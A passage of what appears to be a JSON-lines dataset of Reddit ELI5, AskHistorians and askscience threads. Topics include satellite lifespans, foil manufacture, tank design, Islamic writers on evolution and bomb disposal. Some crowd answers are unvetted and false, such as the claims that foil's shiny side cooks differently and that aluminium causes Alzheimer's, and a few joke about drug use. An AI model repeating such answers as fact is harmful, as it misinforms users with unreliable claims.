radiation and cosmic rays.\n\nLastly sometime the mission duration is tied to the money needed to operate a satellite. To extend a mission you need money to pay the people in charge of the mission. The ground equipment can be very expensive too. ", "Having machines operate in space in tough because of extreme changes from hot to cold and lots of solar radiation. Engineers make stuff really tough so it can survive those extreme conditions, and sometimes they make it tougher than it needs to be for the planned operational lifespan.", "Space has some advantages, also; it's not like your stuff is going to get wet, or rust, or have water freeze in the cracks, etc. ", " >  How is it possible that satellites last far longer than planned?\n\nEverything should last longer than planned or you've failed in your mission.   \n\nThe \"expected lifespan\" is the minimum.\n\nLasting far longer (Meteosat-7, Spirit, Opportunity and later Curiosity Mars Rovers) are real exceptions to the case, but every electronic device we launch into space on a rocket is expected to function beyond it's listed lifespan.\n\nIt's considered to have been worth the massive amount of money spent to make it if it functions properly up to that expected lifespan.", "A very narrow field in the radio amatuer hobby is talking to dead satelites. Occasionally when the batteries wear out on a satellite, a few of them still work when they are in the sun and sufficiently angled as they tumble to run on solar panels alone. The oldest one I know of is the Transit 5B-5 (Military Navigation) from 1964.", "In addition to what /u/electric_ionland has written,\n\nWhen researchers say things like: \n > The satellite was supposed to stay in geostationary orbit for only 6 years.\n\nThey don't mean that at 6 years they expect it to come down, or at 6 years+1 day they expect it to fail. \n\nIt more precisely means that they anticipate 6 years of relatively consistent function and funding for the project (including personnel). It also means that after 6 years, the goals of the project can be considered \"met\". \n\nThis is key because you always need to present a scientific justification for putting a satellite (equipped with specific sensors and capabilities) into orbit, so you need to be able to plan out what you're going to do with it. An anticipated 6-year lifespan means that they can plan experiments and analysis of data for 6-year (or less) experiments, but any project that requires 10+ years would be risky. For example, if they want to collect data on a specific comet or distant planet - the planetary body and satellite sensors need to be aligned during the timeframe of anticipated function. For multiple measurements, they need to be aligned multiple times. Or if you need weather data for X years in order to validate the \"fit\" of your statistical weather model, you need to ensure that you'll get X years, not X-2. If you'll only get X-2 years, you need to adapt your model or find an alternative data source as this is not one that can be counted on to give sufficient power. Logistics for \"competing\" projects need to be planned out so that the right measurements are made and data goes to the right people in a timely fashion.\n\nIn addition, they factor in anticipated technological advances on the ground. For example, a geosynchronous satellite launched 20 years ago may only be able to relay low-resolution static images, while a satellite launched today can relay high-resolution video. So the old tech may not have failed, but has outlived it's usefulness. \n\nFunders (ex. governments) and leadership are willing to consider proposals launching a new satellite only after (1) the first one was actually useful, and (2) the agreed-upon timeline for technology upgrades is reasonably met.", "When you hear that something is planned for x amount of years, that is not the same thing as scientists predicting how long something will last. They're given the mission if disgugning something for a planned 6 year mission, they're not going to design something to break after six years; there's no planned obsolescence at JPL or NASA. If anything, the planned mission time for a satalite or rover is a worst case scenario. They just want to guarantee the mission succeeds. They still build the stuff as well as they possibly can within the given time frame and budget. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "4gpptn", "title": "why do birds pluck their feathers out when isolated or depressed, how does this behavior help them in nature?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4gpptn/eli5_why_do_birds_pluck_their_feathers_out_when/", "answers": {"a_id": ["d2jm986", "d2jor4y", "d2js6kt", "d2jtdac", "d2ju0np", "d2juitg", "d2jvu2a"], "score": [232, 69, 15, 5, 7, 2, 2], "text": ["It doesn't help them in nature! It's not a natural reaction to natural conditions. It is an *un*natural reaction to *un*natural, and very stressful living conditions. ", "Have you ever caught yourself fidgeting when you are stressed? Maybe tearing paper up, squeezing your fingertips, whatever. This doesn't help you, and you're not doing it consciously. \n\nBirds won't think or feel like humans, of course, but it's a similar thing. They're stressed so they over-preen. ", "This behavior isn't only seen in birds... some people also have an urge to pull out their hair when stressed.  It's called [trichotillomania] (_URL_0_).  I had a friend in college who would pull out her eyelashes when under stress.  When I asked her about it, she said the it gave her the feeling of being in control over *something*.  The pain was minimal, but the feeling of control was beneficial to her.  I always knew to ask her how she was feeling and support her when I saw naked eyelids.", "it's essentially analogous to self-harm or, as others have said, other self-directed compulsions in humans - some parrots may also chew their skin, or use their feet to pull feathers. parrots are scary smart and it's not an exaggeration to attribute psychology to them. the evolutionary basis? minds are complicated, and imperfect.\n\nsource: ornithologist/evolutionary biologist", "By the nature of natural selection, you can assume that nothing an organism does when it's completely isolated can possibly have been evolutionarily selected for. Those behaviors are just the leftover instincts from what it does under normal conditions.", "Grooming is useful in nature (preening, picking out bugs, licking in cats, etc) in that it helps to keep the animal healthy, keep their coat/feathers in good condition, etc.\n\nMany different species exhibit over-grooming behavior when stressed or when exposed to certain types of stimuli. Part of it is related to behavioral immunity, which is basically disease-avoidance behavior (our immune systems are wonderful, but most animals do have certain behaviors to avoid contaminated food, keep clean, etc). These behaviors are often triggered when we are exposed to potential pathogens (or images of them) and can also be set off by stress.\n\nAdditionally, grooming often cements social bonds between members of a pack/group/etc, in which case, it can be associated with the release of hormones that make you happy or relaxed. There may be a self-calming to this behavior aspect among animals that groom socially. Sometimes, signals go haywire in the brain, though, and these behaviors continue to the point of causing harm (cats licking themselves bald, birds plucking out all their feathers, etc). It isn't helpful in these cases, though. ", "It doesn't. Evolutionary traits are developed randomly and persist if they do not directly cause the extinction of the species. This opposes the commonly-held belief that evolutionary traits evolve to protect the species."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Trichotillomania"], [], [], [], []]}
{"q_id": "5jvb0x", "title": "why do some people have better balance than others?", "selftext": "For example, it's surprising to me that something that comes so naturally and easily like riding a longboard to some people can be so difficult to other people who can't even stand on it. Does it just have to do with practice or is there any genetics to it all all? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5jvb0x/eli5_why_do_some_people_have_better_balance_than/", "answers": {"a_id": ["dbjep9y"], "score": [2], "text": ["Some things like inner ear issues can cause bad balance, but mostly it's practice. And not necessarily practice doing a specific thing, just knowing your body inside and out, it's size and weight and strength, that all allows you to balance well because you know yourself so well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7rcwbx", "title": "how is cape town in south africa running out of water?", "selftext": "I'm assuming it take more than common sense, because.....common sense tells me that a town that's close to the ocean shouldn't ever be affected by a drought.\n\nSalt water isn't a good way to hydrate I'm sure. How labor intensive is the desalination process?\n\nhelp....I'm totally missing something.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7rcwbx/eli5_how_is_cape_town_in_south_africa_running_out/", "answers": {"a_id": ["dsvxg85", "dsw2rhe", "dsw4f3r"], "score": [18, 9, 2], "text": ["Desalinization is energy intensive, so it's quite expensive. You see it a lot in places that have little water but are on the ocean, and there's lost of money -- like the Arabian peninsula.\n\nThe problem with Cape Town is that it's experiencing a drought, which is a *temporary* reduction in rainfall. Desalinization is a bad solution because it's very expensive, and then at some point the drought ends, and the people who built the desalinization plant (and still haven't made a profit yet) have to compete with -- get this -- **free water from the sky**.\n\nIt is a very bad business plan to sell something that falls out of the sky for free.", "Not only is desalination very expensive, it only solves half the problem.  Most water distribution systems rely on gravity, it rains uphill. water flows downhill and is diverted to where it is needed.  Desalinated water winds up at sea level, which is as downhill as you can.  You still need to find a way to transport that water uphill to a million thirsty people.", "Desalinization is super expensive, both to build the plant and to run/maintain it (lots of energy to run, lots of salt to dispose of, parts that the salt wears out quickly). And because droughts are often shorter than the time to get approval, design, fund, build such a plant they aren't often built -- especially given the costs to run them and how that would impact the cost of water. Hard to get everybody on board for something that might take a decade and billions to build for a problem that could end the next rainy season."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1a3324", "title": "in the ancient world how much training did it take to become a professional archer, and what did they do in peace time? ", "selftext": "suppose it's 2038BC and you're one of pharaoh Mentuhotep's archers for if there's a war. how much of you life was taken up by acquiring and maintaining this skill and what kind of life do you lead if Egypt isn't at war? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1a3324/in_the_ancient_world_how_much_training_did_it/", "answers": {"a_id": ["c8tq1ww"], "score": [10], "text": ["There were very few professional armies in the ancient world.  Typically a ruler would conscript an army as needed and individuals (often land ownership was mandatory) would bring their own equipment and weapons.  The wealthy would have bronze/iron armor and  weapons while the very wealthy would have chariots/horses.  The poor would typically throw rocks (slingers) or other easily made projectiles. If someone brought a bow and arrow it was usually because they used the weapon for hunting and was all they had.  So to answer your question, people who used a bow and arrow likely practiced everyday since they were old enough to shoot it effectively."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "72cwx6", "title": "i was cleaning my microwave today and i noticed that there was a spot i apparently regularly miss, since there was mould growing there. how can mould grow in an environment where it regularly is exposed to microwave radiation?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/72cwx6/eli5_i_was_cleaning_my_microwave_today_and_i/", "answers": {"a_id": ["dnhk5hd"], "score": [12], "text": ["Most microwaves have dead spots inside, especially near the edges, places that are exposed to a lot less radiation than normal.  That is part of the reason many have carousels.  If you most was growing in one of these, its exposure would be minimal.\n\nAlso, contrary to popular belief, microwaves are not particularly deadly.  The radiation they emit is very different from radioactivity.\nThey use a frequency of light that is absorbed by water and turned into heat.  Excessive heat can be harmful, but in the right amounts, all that happens is you get warmed up."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "37p0f9", "title": "I am a Portugese soldier conquering Malacca in 1511. What weapons and Armor am I using?", "selftext": "Also what else have I on me during the battle?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/37p0f9/i_am_a_portugese_soldier_conquering_malacca_in/", "answers": {"a_id": ["crp1bbz"], "score": [10], "text": ["Aha! This is just the kind of question I can answer.\n\nSo firstly, it depends on what your role or social background was.\n\nThe Portuguese employed two general types of troops in the east: *Fidalgos* who were nobles, clad head to toe in an expensive full set of armour, who were often at the top commanding positions, and also formed the veritable \"spearhead\" of assaults. Most notably, they wielded some scary two-handed swords, which the Portuguese called [*montante*](_URL_1_) which in the right hands was capable of cutting an un-armoured person (arguably the most common kind of foe the Portuguese faced in the east) in half, if the chronicles are to be trusted. But because they were nobles, they weren't really entitled to any standards when it came to arms or armour, so it varied; they also used shields, broad swords and halberds. Rather uniquely, these nobles were sometimes accompanied into battle by personal servants (slaves) who would carry their weapons for them.\n\nThen there were the common troops. These were (usually) volunteers, for Portuguese forces rarely ever needed much more than a thousand or so troops in almost every campaign in the Indies. Malacca for instance was conquered with just 700 men and about 300 malabarese auxilliaries.\n\nThe \"common troops\" were usually provided with a helmet, breastplate and a pike. But they could (and did) complement this with their own armour. They also carried broadswords on them. One kind of sword became distinctive of the Portuguese, being called *black sword*, *crab sword*, but was more famously referred to by the common men-at-arms as... the [\"big balls\"](_URL_0_). Their armour would also vary somewhat from man to man, depending of course on how much he had invested his own money into protecting his life. A fancier helmet here, additional vambraces there, that sort of thing.\n\nOverall, all this provided an immense advantage over the masses of unarmoured Malayan troops, who wore at best chainmail, and even that seems to have been rare.\n\nCommon men-at-arms tended however to have very little training and were very undisciplined, for which Commander Afonso de Albuquerque maintained a corps of so called *Ordinance troops* trained in a strict military fashion by veterans from the Italian Wars and knew how to maneuvre in a formation and wield a pike and an arquebus indistinctively.\n\nFinally there's one important aspect that limited the use of armour which was of course, the tropical weather conditions. It's extremely hard to fight under a torrid sun in a damp climate, much more so when you're clad in a heavy full body case of steel. Infact, on the first day of the attack the Portuguese stopped fighting the moment it became too hot in the middle of the day and fortified themselves on the city's bridge, on which they set up a canvas for shade.\n\nSource:\n\n*Conquista de Malaca, 1511* by V\u00edtor Lu\u00eds Gaspar Rodrigues and Jo\u00e3o Paulo Oliveira e Costa."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://i.imgur.com/oF4rMMd.jpg", "http://i.imgur.com/0cNmFK3.jpg"]]}
{"q_id": "ozdc0", "title": "What happens to our brain during a workout? Why do we feel confident afterwards?", "selftext": "Are there are any hormones at work? How do they work? Or is it a placebo like \"we workout, and we are big and buff\"?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ozdc0/what_happens_to_our_brain_during_a_workout_why_do/", "answers": {"a_id": ["c3lntee"], "score": [2], "text": ["The answer is (naturally) complicated, but the simplest explanation is that physical activity causes the release of certain neurotransmitters (e.g. serotonin) and endorphins. Together these act to elevate mood on a chemical level. \n\nYou are correct though, that exercise can also cause a placebo effect. After a work-out, a person might feel better because they feel they have done something productive and healthy. This can further stimulate the release of neurochemicals that elevate mood."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7wk9rw", "title": "why can't people disarming a c4 brick of explosives just cut most of it away from the blasting cap?", "selftext": "If several people are there for disarming a bomb why not just cut off a huge chunk of the C4 brick and give it to someone to take away from area and keep doing that until its a lot smaller and can just be exploded?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7wk9rw/eli5_why_cant_people_disarming_a_c4_brick_of/", "answers": {"a_id": ["du17p9z"], "score": [17], "text": ["the simple answer is :  you CAN.   as long as you get a blasting cap more than a foot or so away from the explosives it's connected to, there's no way for the pressure wave it produces to start the reaction needed to blow stuff up. \n\n\n\nthat's why movie bombs always make me laugh.   there's 10 sticks of \"c4\" 10 detonators, and 10 wires, and all of the detonators are sticking half out of the bombs. \n\nin that situation you could happily pull the c4 off the detonators, and throw it away.   sure, there's still gonna be a bang, but it's gonna be 10 firecrackers, .\n\n\nas for real life, there's usually a good case for not doing this..  mainly because in real life, someone whos gone to the trouble of building a bomb is usually going to make sure to set it so that it goes off if  tampered with.   and also because real life bombs don't have a big friendly glowing electronic count down on the front telling you you have over an hour to defuse the bomb.    you don't know if it's going to go off in 60 seconds, or 60 hours.    you err on the side of caution and treat it like it's gonna go off any second.  or that someone's watching it with a radio detonator.\n\nthis is also why irl they use a bomb disposal robot that's loaded with a shotgun full of water.   one or two high pressure blasts of water to a bomb will usually separate the electronics from the explosives, and unplug enough things fast enough that it wont go off. \n\nthen again, there's a reason most bomb squads choose the \"controlled detonation\" option,, and blow it up in a place that's not going to do any damage to anything important. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "dvd13g", "title": "Islam and Evolution", "selftext": "Hi I\u2019m an undergrad history student and I have a strange question. After going over some older documents on Darwin\u2019s theory of evolution one scientist referred to it as the Mohhamadean theory of Evolution. What does Islam or Mohammed have to do with Darwin?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dvd13g/islam_and_evolution/", "answers": {"a_id": ["f7dm3mc"], "score": [31], "text": ["Hey!\n\nThis is an interesting question and, although I don't have a super in-depth answer, I hope this can do a little to help point you in a direction.\n\nTo start, I don't know of any \"Muhammadan Theory of Evolution\" as some discrete, concrete theory.  However, there are a number of places that I thought to look to get started.  There is of course more that one could write about, but I've not got too much time at the moment.\n\n*********\n\n\n***Al-Muqaddimah* by Ibn Khald\u016bn**\n\nAl-Muqaddimah (literally \"*The Introduction*\", but known in the west as the Prolegomena) was originally meant as just that, an introduction to a larger series on history that the 14th century philosopher intended to write.  It ended up growing into a book of its own, touching on a large number of the social sciences, economics, and religion.  Among what it considers is what could be seen as a precursor to a theory evolution, a \"gradual process of creation.\"\n\n >  One should then look at the world of creation. It started out from the\nminerals and progressed, in an ingenious, gradual manner, to plants and animals.\nThe last stage of minerals is connected with the first stage of plants, such as\nherbs and seedless plants. The last stage of plants, such as palms and vines, is\nconnected with the first stage of animals, such as snails and shellfish which have\nonly the power of touch. The word \"connection\" with regard to these created things\nmeans that the last stage of each group is fully prepared to become the first stage of\nthe next group.\n\n >  The animal world then widens, its species become numerous, and, in a\ngradual process of creation, it finally leads to man, who is able to think and to\nreflect. The higher stage of man is reached from the world of the monkeys, in which\nboth sagacity and perception are found, but which has not reached the stage of\nactual reflection and thinking. At this point we come to the first stage of man after\n(the world of monkeys). This is as far as our (physical) observation extends.\n\nThis gradual process went from mere rocks, to simple plants, up through animals, and then to humans themselves. It is at this point that the soul enters the picture, giving humanity the power to think and perceive (including supernaturally).  And it is in this context of divination and soothsaying that Ibn Khald\u016bn introduces the idea.  Although this echoes the theory of evolution, I would hesitate to call it a \"Muhammadan Theory of Evolution\" given its limited context; it wasn't a biological theory more so than a philosophical/religious theory.  It would, however, not be unknown to Europeans in Darwin's era.\n\nLuckily, there is a famous work called *Kit\u0101b al-Hayaw\u0101n* (literally, \"The Book of the Animals\") that discusses just such a biological theory!  \n\n*****\n***Kit\u0101b al-Hayaw\u0101n* by Al-J\u0101hiz**\n\nThis book classified hundreds of species of animals and set out some fundamentals of what we see now as the theory of evolution: taxonomies/species, micro-evolution, and the struggle for existence. I have to confess I haven't read the entirety of *Kit\u0101b al-Hayaw\u0101n*, so can't go into too much detail here.  I hope this will be a primer.\n\n#Taxonomies/Species\n\nAl-J\u0101hiz delineated a concept close to species (and other taxonomic categories) and interbreeding between them. To pull from a very useful source I found, the Ph.D. thesis of Jeanne Miller, \"More Than the Sum of Its Parts: Animal Categories and Accretive Logic in Volume One of al-J\u0101\u1e25i\u1e93\u2019s *Kit\u0101b al-\u1e24ayaw\u0101n*\":\n\n >  **Individuals within a breed:** Procreation between individuals within a breed\nproduces offspring that are not crossbreeds.\n\n >  **Breeds or Races within a kind:** Procreation between breeds produces crossbreeds.\n\n >  **Kinds within the same group:** They are clearly recognizably as one basic kind;\nprocreation between kinds is impossible.\n\n >  **Group of kinds:** [Miller doesn't nicely sum it up for us here, but later describes it as \"categories\" of animals with \"an impressionistic set of qualities, some of which do not always occur together.\"  For example, Al-J\u0101hiz groups various kinds of doves in a \"Pigeon\" category, which some imaginary characters of his fight over the exact limits of.]  \n\n#Evolution  &  Micro-Evolution\n\nDr. Mehmet Bayrakdar (in [Al-Jahiz and the Rise of Biological Evolution](_URL_1_)) compares Al-J\u0101hiz's view to a mix of Lamarckian and Darwinian evolution, saying al-J\u0101hiz believed \"food, climate, shelter and other factors have some biological and psychological effects on species\".  \n\nAl-J\u0101hiz himself, in a manner similar to Darwin's finches, mentions the micro-evolution of lice:\n\n >  Lice are black on the head of a young man with black hair, light on that of a hoary old man\n\n\n# Struggle for Existence\n\nAl-J\u0101hiz describes at one point the competition both between animals of the same species and between different animals.  He uses the example of rats, which compete with birds (for food) and snakes (as food).  \n\n >  The rat goes out for collecting his food, and it searches and seizes them. It eats some other inferior animals,\nlike small animals and small birds ... This is the law that some existences are the food for others ... All small animals eat smaller ones; and all big animals cannot eat bigger ones\n\n\n******\n\nIn doing this research, I came across a write-up of [Pre-Darwinian Muslim Scholars\u2019 Views on Evolution](_URL_0_).  You might find it interesting to skim through.  (Also, as a side note, a fair few of these scholars seem to be Mu'atizili, which I found interesting.  That's a different discussion though).\n\nHope this helps!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://pu.edu.pk/images/journal/uoc/PDF-FILES/%2811%29%20Dr.%20Sultan%20Shah_86_2.pdf", "http://dergiler.ankara.edu.tr/dergiler/37/772/9842.pdf"]]}
{"q_id": "ai5sw8", "title": "Tank design - where they intentionally shaped differently?", "selftext": "Something I had never considered before, even though I've always been a tank lover - I know countries 'borrowed' design elements from other countries, for example the Germans used a number of design features from the T34 in their Panther - but did countries intentionally design their tanks to look distinctively different from other countries, even if they knew the other countries design was better so as to ensure the silhouette could be differentiated?\n\nThis same question could also be asked in regards to aircraft, ships, and to an extent infantry uniforms.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ai5sw8/tank_design_where_they_intentionally_shaped/", "answers": {"a_id": ["eembzc5"], "score": [12], "text": ["By and larger countries weren't trying to go for a unique \"look.\" The fact that their tanks tended to look the same came down to three factors. Since different countries made different choices, their tanks looked different by accident, not by design.\n\n**Design Philosophy  -** Countries often have a design philosophy that literally shapes the design of their tanks. For example, in the early Cold War, the Soviets strove to create tanks with extremely low profiles and sloped armor - good qualities in an offensively-oriented tank. The first tank that meets these specs is the T-54 - as you can see, the [T-54 family gets progressively squatter](_URL_4_) until it gets the distinctive dome-shaped turret. The low profile tank with the domed turret becomes a defining feature of other [Soviet Cold War tanks](_URL_2_).\n\n**Use of Proven Technology -** One of the biggest contributing factors to a tank's silhouette is the suspension system.  Countries tended to use one or two systems across their AFV designs. If a system worked, countries tended to stick with it. This could simplify production (ex. the American's using the VVSS) and made it easier to roll out new designs, since the suspension system (or at least its operating principle) was laready proven.\n\nIf you look at [German panzer designs](_URL_6_), you'll see the leaf-spring suspensions used in the Panzer IV and Panzer III and their offspring, like the Stug IV. The Panther Tigers, and Jagdpanther all have the distinctive torsion bar suspension with the big roadwheels.\n\n[American designs](_URL_3_)  almost all use the [VVSS (Vertical Volute Suspension System)](_URL_5_), which gives them a distinctive look. The M26 Pershing and the Patton series tanks all used a similar torsion bar system.\n\nThe British [Cruiser designs](_URL_1_) all used the Christie suspension system, with its trademark large roadwheels.\n\nYou also see countries using their own preferred construction techniques. During WWII, the Americans made heavy use of casting and welding and the British used rivets and bolts (hence the distinctive bulges on tanks like Cromwell). This affects the shape of the tank (it's one reason why British tanks look boxiers) and its overall texture.\n\n**Derivations and** **Modifications -** Many countries have designs that are heavily-based on previous ones. For example, T-55 influences T-62, T-72 is the parent of T-90, and the M47 and M48 are the forefathers of the M60. As a result, it's not surprising  that an army's tanks may look very similar for decades.\n\n\\--------------------------------\n\nNow, crews did care about their tanks looking like enemy vehicles. In *Tank Killers,* Harry Yeide writes about how M18 Hellcat crews in Italy found their new tank destroyers, \"looked German.\" They quickly tried to find a solution.\n\n > Much to the dismay of the crews, many American infantrymen thought [the M18 resembled a German tank because of its barrel length and suspension](_URL_0_). At least some crews responded by [painting the white identification stars bigger and brighter.](_URL_7_) \\[the photo is from Germany in 1945, but it illustrated my point\\] "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://i.imgur.com/UhyYm6i.png", "https://i.imgur.com/Q6bZxVM.jpg", "https://i.imgur.com/p7vr0PD.gif", "https://i.imgur.com/RCyxGiq.jpg", "https://i.imgur.com/vgRbD7u.jpg", "https://i.imgur.com/GCIi5Kq.png", "https://i.imgur.com/DQXTssV.jpg", "https://i.imgur.com/7GHuZrg.jpg"]]}
{"q_id": "20spjj", "title": "why does aluminum foil have 1 side shinier than the other?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20spjj/eli5_why_does_aluminum_foil_have_1_side_shinier/", "answers": {"a_id": ["cg6deb5", "cg6dora", "cg6ejak", "cg6emei", "cg6epz1", "cg6ffkn", "cg6ffvj", "cg6g1cy", "cg6ggdb", "cg6hcbz", "cg6hqdj", "cg6hske", "cg6hw18", "cg6ip6f", "cg6jwov", "cg6jxyw", "cg6kank", "cg6kb4h", "cg6kc8e", "cg6kmi9", "cg6nnfq", "cg6p7gq", "cg6q79d", "cg6qx9q", "cg6s695", "cg6tevt", "cg6tyrv", "cg6u68e", "cg6uw0i", "cg6vso9", "cg6whd3", "cg6yirn", "cg6ze2q", "cg6zocu", "cg708r6", "cg72rwb"], "score": [1317, 254, 2, 57, 79, 18, 3, 6, 2, 3, 25, 4, 6, 12, 2, 3, 5, 3, 8, 2, 6, 2, 3, 2, 2, 2, 3, 2, 3, 2, 2, 5, 3, 3, 2, 2], "text": ["I saw this on how it's made once. Once of the final steps in rolling the foil thinner and thinner would tear a single layer of foil, so they roll two layers together. One side gets rolled against a huge roller, and the other against another layer of foil. One of those sides ends up shiny (I think it's the one against the other layer of foil), and the other dull.", "\n[Quirky Science](_URL_2_):\n >  A modification in the procedure that lets them thin it still further\u2014running two sheets of foil through the rollers, one atop the other. ...  The bottom surface of the top sheet and the top surface of the bottom sheet\u2014pressing against each other\u2014do not get pressed by the roller surfaces. When the two layers are pulled apart, these inside surfaces are dull, or matte.\n\n[Wikipedia: Aluminium Foil](_URL_1_):\n >  For thicknesses below 0.025 mm (1 mil), two layers are usually put together for the final pass and afterwards separated which produces foil with one bright side and one matte side. The two sides in contact with each other are matte and the exterior sides become bright...\n\n\n[How It's Made: Aluminum Foil](_URL_0_)", "Tho those of whom it may concern:\n\nThis is purely a product of manufacturing. Really fine rollers and high pressure plates milled to a very fen surface finish staff to run quite the price. This way, companies can still effectively cold roll their product while at the same time keeping costs low.\n\nThere's talk that one side will conduct or absorb heat differently than the other but it isn't true. ", "I thought the dull side was non-stick...Am I retarded?", "And to hijack the thread, why do some countries call it Aluminum and some countries (like mine) call it Aluminium?", "Also, just a PSA, you shouldn't cook acidic foods in aluminum, it may or may not deposit aluminum in your brain and cause Alzheimer's. Use cast iron or parchment paper I guess.\n_URL_0_", "the roller polishes one side while the other is metal on metal contact. ", "The way the sheet comes off the rollers while it is being made causes one side to be a matte finish and the other is polished. Any preference in what side faces out is up to you, there is no difference other than the look.", "The dull side sticks less", "I would say that even if the manufacturing process changes so that both sides could be dull or shiny, some people would still want the different sides. So I would say that now convention is also an important factor.", "It is because of the manufacturing process of the aluminum foil. Aluminum is pressed thinner and thinner using two parallel heated rollers until it's reached its final thickness. However, it is nearly impossible to get the distance between the rollers perfect when it comes to the final press. because the rollers are so thick- even the slightest variation in temperature of one of the rollers will expand/shrink it, close the gap, and the aluminum will jam. To get a more precise and effective final roll to the final thickness, they roll two sheets at the same time. upon separation, the part of the sheet that was in contact with the hot roller is shiny and the part that was peeled from the other sheet stays dull.", "Foil gets so thin by the end of the rolling process that two sheets need to be rolled together. The sides that touch each other come out dull and the outer sides end up shiny.", "It has to do with how it is rolled out of the machines that make it glossy. They simply cant roll the otherside as the foil would tear. They explained this on discovery channel some time ago\n\nUsing the glossy/matte side to keep the heat in is just a myth. Both sides just reflect as much heat as the other.", "Damn it! An ELI I actually know, and I'm late to it.\n\nEven though it's been explained, the foil is too thin to be rolled through the machine into it's final thickness rolled against a roller on one side and against another strip of foil (or itself) on the other, resulting in one shiny and one dull side.", "My father is a caterer and says it serves a purpose. The shiny side bounces more heat to keep a dish hot longer. I've also read that it doesn't fucking matter what side you use and to stop asking questions. Cynics. ", "As explained its made shinny during manufactoring, the reason why hasn't been explained. Its thermal dynamics basically, the shinny reflective side will reflect the heat back into the food, that's why when you make chicken fingers some instructions say  Shinny Side up on the Aluminum Foil. A good way to see how this works is wrapping a Potato, wrap one with shinny side facing the potato and one wrapped with the shinny side out, put them in the oven for 45 minutes. The one with the shinny side out will be like hard still while the other will be soft and fluffy and ready to eat. ", "According to the manufacturer in this [**How It's Made** segment](_URL_0_), it is due to the process used to make the aluminum so thin, and has no effect on its performance.\n\nedit: formatting", "serious question: does it matter what side you use when wrapping food up in foil? like does having the shiny side on the inside or outside make a difference?", "Check out the show \"How it's Made.\" They have an excellent segment on this. Basically for the final pressing (starts off as big thick sheets of aluminum) they actually roll two pieces together back to back. This is because the final thickness isn't strong enough to be rolled by itself (you're talking tenths of a millimeter thickness) the side that are pressed together have a matte finish and the sides that contact the rollers are shiny. There really isn't a reason from a design standpoint I don't think", "I just wanted to say this is a great question. It's something I always wondered while I was using foil, and then would forget about. Now I know!\n:)\n", "So meth heads can argue over what side is best to smoke off of.", "I have a question. Why does it hurt to chew on foil? It freaks me out just thinking about it", "Because the primary purpose of foil is for cooking - baking, broiling, grilling, lining pans, etc..  The shiny side will absorb more heat and cook things cook faster, the other side slower.  Depending on your purpose, you want to use the appropriate side.  This is especially important in higher altitudes.", "I make my hats with the shiny part out, to keep the NSA out of my brainwaves.", "I remember being told once that for cooking purposes, the shiny side is supposed to go on the inside of whatever your wrapping as the shininess traps (reflects) the heat.\n\nThis is what I was taught at a young age - not sure if its true. let the upvotes decide.", "Remember kids don't chew it. ", "Not as an answer to this question but the next one is always, \"Which side do you put out when you cover something?\"  The answer is either they both reflect exactly the same amount of heat.", "Don't have an answer, but a little life tip: when baking potatoes wrapped in foil, remember the line, \"shiney to the hiney\", the potatoes cook faster, or so I'm told and so I've done since highschool", "Ctrl+F5 and nobody has asked the real question here: which side should be out and which side should be in?", "its due to the rolling process in the mill. i saw it on some tv show ages ago\n", "Stupid me.  I always assumed the shiny side went towards the food to reflect back heat and the matte side absorbed it.  Creating like a greenhouse effect.  Derp. ", "the machine presses two sheets together when doing the final run through it. The sides that touch each other are shinier since they don't touch the rolling things that are rougher.", "Only smoke your drugs on the matte side!! Or is it the shiny side...", "So it microwaves better, the shiny side allows the food to heat quicker.", "Shit, I'm almost 36 and never noticed one side isn't as shiny. Now I want to get home and check this out.", "So i can smoke meth with it duh!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://youtu.be/f4OTj9yNOak?t=5m33s", "http://en.wikipedia.org/wiki/Aluminium_foil#Manufacture", "http://www.quirkyscience.com/household-aluminum-foil-why-only-one-shiny-side/"], [], [], [], ["http://www.thenakedscientists.com/HTML/questions/question/3271/"], [], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=f4OTj9yNOak"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "fwhsw", "title": "When you're sick with a cold or flu and you feel 'high', i.e. your sensory experience of the world is different than usual, what is going on there?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/fwhsw/when_youre_sick_with_a_cold_or_flu_and_you_feel/", "answers": {"a_id": ["c1j4ryi", "c1j5z2y"], "score": [9, 9], "text": ["I believe it's to do with the fever. An increased temperature in the brain effects nerve transmission speed and has some peculiar effects I think.", "I was under the impression a lot had to do with your inner ear-drum that assists with balance and stuff.  Sinuses are a bitch."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
